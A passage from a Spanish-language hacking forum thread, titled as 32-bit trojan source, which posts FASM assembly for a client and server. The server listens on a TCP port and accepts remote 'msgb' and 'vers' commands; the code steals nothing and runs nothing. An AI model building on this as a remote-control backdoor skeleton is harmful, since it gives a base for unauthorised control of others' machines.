comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Source] Troyano 32 Bits [ASM]

  • 0 Respuestas
  • 2372 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email
« en: Febrero 24, 2010, 04:02:37 pm »
Código: ASM
  1. :::=== CLIENT.ASM ===:::
  2.  Template using RES file
  3.  include 'win32ax.inc'
  4.      IDD_MAINDLG    =    101                             All our resource identifiers
  5.     IDC_IP        =    1015
  6.     IDC_CONNECT    =    1016
  7.     IDC_MSG     =    1017
  8.     IDC_SEND    =    1018
  9.     IDC_VERSION    =    1019
  10.  .data
  11.     hInstance    dd    ?                             Our instance handle
  12.     iPort        equ    7272d                             Our port.. remember to change this in the server
  13.     iIP        rb    17                             Buffer for getting IP
  14.      wsaData     WSADATA                              To store Winsock data
  15.     hSocket     dd    0                             Socket handle variable
  16.      sockAddr    dw    AF_INET                          sockAddr
  17.     sockAddrp    dw    ?
  18.     sockAddrip    dd    0
  19.     sockAddrZ    rb    8
  20.     sockAddrSize    =    $-sockAddr
  21.     randomBuf    rb    1024                             Random buffer for shit
  22.     sendBuf     rb    1024                             Send buffer
  23.     recvBuf     rb    1024                             Recieve buffer
  24.  .code
  25.     start:
  26.         invoke    GetModuleHandle, 0                         Should know all this shit..
  27.         mov    [hInstance], eax
  28.         invoke    DialogBoxParam, [hInstance], IDD_MAINDLG, 0, dlgProc, 0
  29.         invoke    ExitProcess, 0
  30.     .end start
  31.  proc    dlgProc, hDlg, uMsg, wParam, lParam
  32.     push    ebx esi edi
  33.     cmp    [uMsg], WM_COMMAND
  34.     je    .wmcommand
  35.     cmp    [uMsg], WM_CLOSE
  36.     je    .wmclose
  37.     cmp    [uMsg], WM_INITDIALOG
  38.     je    .wminitdlg
  39.     cmp    [uMsg], WM_DESTROY
  40.     je    .wmclose
  41.     xor    eax, eax
  42.     jmp    .finish
  43.      .wminitdlg:
  44.         mov    eax, 1
  45.         jmp    .finish
  46.      .wmclose:
  47.         invoke    EndDialog, [hDlg], 0
  48.         mov    eax, 1
  49.         jmp    .finish
  50.      .wmcommand:
  51.         mov    eax, [wParam]
  52.         and    eax, 0x0FFFF                             To get the LOWORD of wParam
  53.          cmp    eax, IDC_CONNECT
  54.         je    .connect
  55.         cmp    eax, IDC_SEND
  56.         je    .sendmessage
  57.         cmp    eax, IDC_VERSION
  58.         je    .version
  59.          mov    eax, 0
  60.         jmp    .finish
  61.      .connect:
  62.         invoke    WSAStartup, 0002h, wsaData                     Same as in the server
  63.         test    eax, eax
  64.         jnz    .error
  65.         invoke    socket, AF_INET, SOCK_STREAM, 0
  66.         cmp    eax, -1
  67.         je    .error
  68.         mov    [hSocket], eax
  69.         invoke    htons, iPort
  70.         mov    [sockAddrp], ax
  71.         invoke    GetDlgItemText, [hDlg], IDC_IP, iIP, 16              Get our IP from the text box
  72.         invoke    inet_addr, iIP                             Convert it so our PCs can use it
  73.         mov    [sockAddrip], eax                         Store it
  74.         invoke    connect, [hSocket], sockAddr, 16                 Connect to that IP
  75.         test    eax, eax                             Did it work?
  76.         jnz    .error                                 No, display that we can't connect
  77.        invoke    MessageBox, [hDlg], "Connection Successful..", "Message :", 0     Yup, show a success message
  78.        jmp    .finish                              Connection finished
  79.    .error:
  80.        invoke    MessageBox, [hDlg], "A connection could not be established", "Error :", 0 Error message
  81.        jmp    .finish
  82.     .sendmessage:
  83.        cmp    dword [hSocket], 0                         Have we got a socket handle?
  84.        je    .error                                 No, show that we aren't connected
  85.         invoke    GetDlgItemText, [hDlg], IDC_MSG, randomBuf, 1024         Yes, so get our message to be sent
  86.         invoke    lstrcpy, sendBuf, "msgb"                     Put the msgb identifier at the beginning of it
  87.         invoke    lstrcat, sendBuf, randomBuf                     And then put the message on
  88.         invoke    send, [hSocket], sendBuf, 1024, 0                 Send the identifier + message
  89.         jmp    .finish                              Carry on...
  90.      .version:
  91.         cmp    dword [hSocket], 0
  92.         je    .error
  93.         invoke    lstrcpy, sendBuf, "vers"                     Send a version identifier
  94.         invoke    send, [hSocket], sendBuf, 1024, 0                 Sent it
  95.         invoke    recv, [hSocket], recvBuf, 1024, 0                 Recieve the version string
  96.         invoke    MessageBox, [hDlg], recvBuf, "Version Checker", 0         Then display it
  97.         jmp    .finish                              Carry On
  98.      .finish:
  99.         pop    edi esi ebx
  100.         ret
  101. endp
  102.   section '.rsrc' data readable resource from 'resource.res' Import external .res file (created by a different program, such as VC++)
  103.   :::=== SERVER.ASM ===:::
  104. include 'win32ax.inc'
  105.  .data
  106.     iPort        equ    7272d                         Port to connect on, remember to change this in client too
  107.      wsaData     WSADATA                          For holding our Winsock information
  108.     hSocket     dd        ?                     Variable to hold our listening socket handle
  109.     hRemoteSocket    dd        ?                     Variable to hold our connected socket handle
  110.      sockAddr    dw    AF_INET                      sockAddr Structure .. check API reference..
  111.     sockAddrp    dw    ?
  112.     sockAddrip    dd    0
  113.     sockAddrZ    rb    8
  114.     sockAddrSize    =    $-sockAddr                     Size of struct (16 bytes)
  115.      remoAddr    dw    ?                         Another sockAddr Structure
  116.     remoAddrp    dw    ?
  117.     remoAddrip    dd    ?
  118.     remoAddrZ    rb    8
  119.     remoAddrSize    dd    ?
  120.      recvBuf     rb    1024                         Buffer to store recieved information
  121.     sendBuf     rb    1024                         Buffer to store information before it's sent
  122. .code
  123. start:
  124.    .bind_listen:
  125.        invoke    WSAStartup, 0002h, wsaData                 Initiate Winsock to check version
  126.        test    eax, eax                         Have we got the right version installed?
  127.        jnz    .exit                             Nope, leave :/
  128.        invoke    socket, AF_INET, SOCK_STREAM, 0              Create a socket for us
  129.        cmp    eax, -1                          Was it successfully created?
  130.        je    .exit                             Nope, leave :/
  131.        mov    [hSocket], eax                         Store the socket's handle
  132.         invoke    htons, iPort                         Convert our Port to a value that our computer understands :P
  133.         mov    [sockAddrp], ax                      And then store it..
  134.         invoke    bind, [hSocket], sockAddr, sockAddrSize          Bind our socket to this port
  135.         test    eax, eax                         Did we bind it successfully?
  136.         jnz    .exit                             Nope, leave :/
  137.         invoke    listen, [hSocket], 5                     Listen on this socket for incoming connections
  138.         test    eax, eax                         Are we listening?
  139.         jnz    .exit                             Nope, leave :/
  140.      .accept_loop:
  141.         mov    [remoAddrSize], sockAddrSize                 Store our sockAddr structures size
  142.         invoke    accept, [hSocket], remoAddr, remoAddrSize         Accept any incoming connections
  143.         cmp    eax, -1                          Did we get one?
  144.         je    .accept_loop                         Nah, keep trying
  145.         mov    [hRemoteSocket], eax                     Yes we did, so store the new sockets handle
  146.     .recv_loop:
  147.         xor    eax, eax                         Clear eax (mov eax, 0)
  148.         mov    dword [recvBuf], eax                     Zero recvBuf (otherwise it keeps thinking we have data)
  149.         invoke    recv, [hRemoteSocket], recvBuf, 1024, 0          Try and recieve any data being sent
  150.         cmp    eax, 0                             Did we get any?
  151.         je    .end_recv_loop                         Nope, keep trying
  152.         cmp    eax, -1                          Is the connection lost?
  153.         je    .conn_lost                         Yes, so reset everything
  154.         jmp    .commands                         Check for commands
  155.     .end_recv_loop:
  156.         invoke    closesocket, [hRemoteSocket]                 Close the remote socket
  157.         jmp    .accept_loop                         Wait for connections again
  158.     .conn_lost:
  159.         invoke    closesocket, [hSocket]                     Close our listening socket
  160.         invoke    WSACleanup                         Cleanup our Winsock info up so we can reset everything
  161.         jmp    .bind_listen                         Start all our connection shit again
  162.  
  163.     .commands:
  164.         cmp    dword [recvBuf], "msgb"                  Did we get a MessageBox command?
  165.         je    .msgb                             We sure did, display it
  166.         cmp    dword [recvBuf], "vers"                  Did we get a version check command?
  167.         je    .vers                             Indeed, tell the client our version
  168.         jmp    .recv_loop                         None of the above commands, so wait for the next one
  169.      .msgb:                                     MESSAGEBOX COMMAND
  170.         mov    eax, recvBuf+4                         Skip past the "msgb" identifier
  171.         invoke    MessageBox, 0, eax, "Message :", 0             Display the messagebox
  172.         jmp    .recv_loop                         Wait for next command
  173.      .vers:                                     VERSION CHECK COMMAND
  174.         invoke    lstrcpy, sendBuf, "Version: DST v1.0b"             Copy our version to our send buffer
  175.         invoke    send, [hRemoteSocket], sendBuf, 1024, 0          Send the information to the client who we're connected to
  176.        jmp    .recv_loop                         Wait for next command
  177.  
  178.    .exit:
  179.        invoke    closesocket, [hSocket]                     Close our listening socket
  180.        invoke    closesocket, [hRemoteSocket]                 Close our connected socket
  181.        invoke    WSACleanup                         Cleanup winsock
  182.        invoke    ExitProcess, 0                         Exit the server
  183. .end start
  184.  :::=== RES_TEMP.ASM ===:::
  185. Template using RES file
  186. include 'win32ax.inc'
  187.     IDD_MAINDLG    =    101             Control IDs
  188.    IDC_EXIT    =    40001             Retrieved from the .h file automatically made from VC++
  189. .data
  190.    hInstance    dd    ?             Our instance handle
  191. .code
  192.    start:
  193.        invoke    GetModuleHandle, 0
  194.        mov    [hInstance], eax
  195.        invoke    DialogBoxParam, [hInstance], IDD_MAINDLG, 0, dlgProc, 0
  196.        invoke    ExitProcess, 0
  197.    .end start
  198. proc    dlgProc, hDlg, uMsg, wParam, lParam
  199.    push    ebx esi edi
  200.    cmp    [uMsg], WM_COMMAND
  201.    je    .wmcommand
  202.    cmp    [uMsg], WM_CLOSE
  203.    je    .wmclose
  204.    cmp    [uMsg], WM_INITDIALOG
  205.    je    .wminitdlg
  206.    cmp    [uMsg], WM_DESTROY
  207.    je    .wmclose
  208.    cmp    [uMsg], WM_COMMAND
  209.    je    .wmcommand
  210.    xor    eax, eax
  211.    jmp    .finish
  212.     .wminitdlg:
  213.        mov    eax, 1
  214.        jmp    .finish
  215.     .wmclose:
  216.        invoke    EndDialog, [hDlg], 0
  217.        mov    eax, 1
  218.        jmp    .finish
  219.     .wmcommand:
  220.        mov    eax, [wParam]
  221.        and    eax, 0x0FFFF             To get the LOWORD of wParam
  222.         cmp    eax, IDC_EXIT
  223.        je    .wmclose
  224.         mov    eax, 0
  225.        jmp    .finish
  226.     .finish:
  227.        pop    edi esi ebx
  228.        ret
  229. endp
  230. section '.rsrc' data readable resource from 'resource.res' Import external .res file (created by a different program, such as VC++)
« Última modificación: Junio 03, 2013, 11:34:44 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Obtener dia de la semana 16 bits.

Iniciado por Juan

Respuestas: 8
Vistas: 3786
Último mensaje Mayo 15, 2013, 04:47:39 pm
por Karcrack